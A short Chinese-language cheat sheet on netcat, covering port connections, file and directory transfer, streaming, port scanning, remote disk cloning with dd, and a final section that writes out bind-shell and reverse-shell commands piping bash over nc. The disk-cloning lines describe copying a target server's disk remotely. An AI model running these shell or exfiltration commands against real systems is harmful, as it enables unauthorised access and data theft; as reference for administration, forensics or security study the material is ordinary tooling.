1.NETCAT作为客户端常用的命令
nc -v verbose [use twice to be more verbose]
nc -n numeric-only IP addresses, no DNS
下列是nc的所有命令:
nc -vn 123.125.50.29 110(POP3服务器的110端口)
nc -nv 202.181.12.12 25(SMTP服务器的25端口)
2.NC--传输文本信息
服务器:nc -l -p 端口号
客户端:nc -nv 服务器的ip 端口号
应用:远程电子取证
ls -l的取证
ps aux的取证
3.nc文件/目录传输
(1)文件传输
往服务器传文件:
服务器:nc -ip 端口号 > 文件名
客户端:nc -nv 服务器ip地址 端口号 < 文件名 -q 1
往客户端传文件:
服务器:nc -lp 端口号 < 文件名 -q 1
客户端:nc -nv 服务器ip地址 端口号 > 文件名
(2)目录传输
也涉及双向,和上述的文件传输类似
向客户端发送文件目录:
服务器:tar -cvf - 目录名/ | nc -lp 端口号 -q 1
客户端:nc -nv 服务器ip地址 端口号 | tar -xvf -
(3)加密传文件
服务器:nc -lp 端口号 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 文件名
客户端:mcrypt --flush -Fbq -a rijndael-256 -m ecb < 文件名 | nc -nv ip地址 端口号 -q 1
4.nc-流媒体服务
服务器:cat 文件名.mp4 | nc -lp 端口号
客户端:nc -nv 服务器ip地址 端口号 | 播放器(mplayer) -vo x11 -cache 3000 -
5.nc--端口扫描
nc -nvz ip地址 端口范围 //扫描TCP端口
nc -nvzu ip地址 端口范围 //扫描UDP端口
每一个扫描器的扫描结果都不是特别准确的,可以多使用几种方式对端口进行扫描以增加准确性
6.nc--远程克隆硬盘
服务器:nc -lp 端口号 | dd of=/dev/sda
客户端:dd if=/dev/sda | nc -nv 服务器ip地址 端口号 -q 1
远程电子取证,可以将目标服务器硬盘远程复制,或者内存
7.nc--远程控制
正向:服务器:nc -lp 端口 -C bash
客户端:nc -nv 服务器ip地址 端口
这样可以使服务器获得客户端的一个bash
反向:服务器:nc -lp 端口
客户端:nc 服务器ip地址 端口 -C bash
这样可以使客户端获得服务器的一个bash
nc缺乏加密和身份验证的能力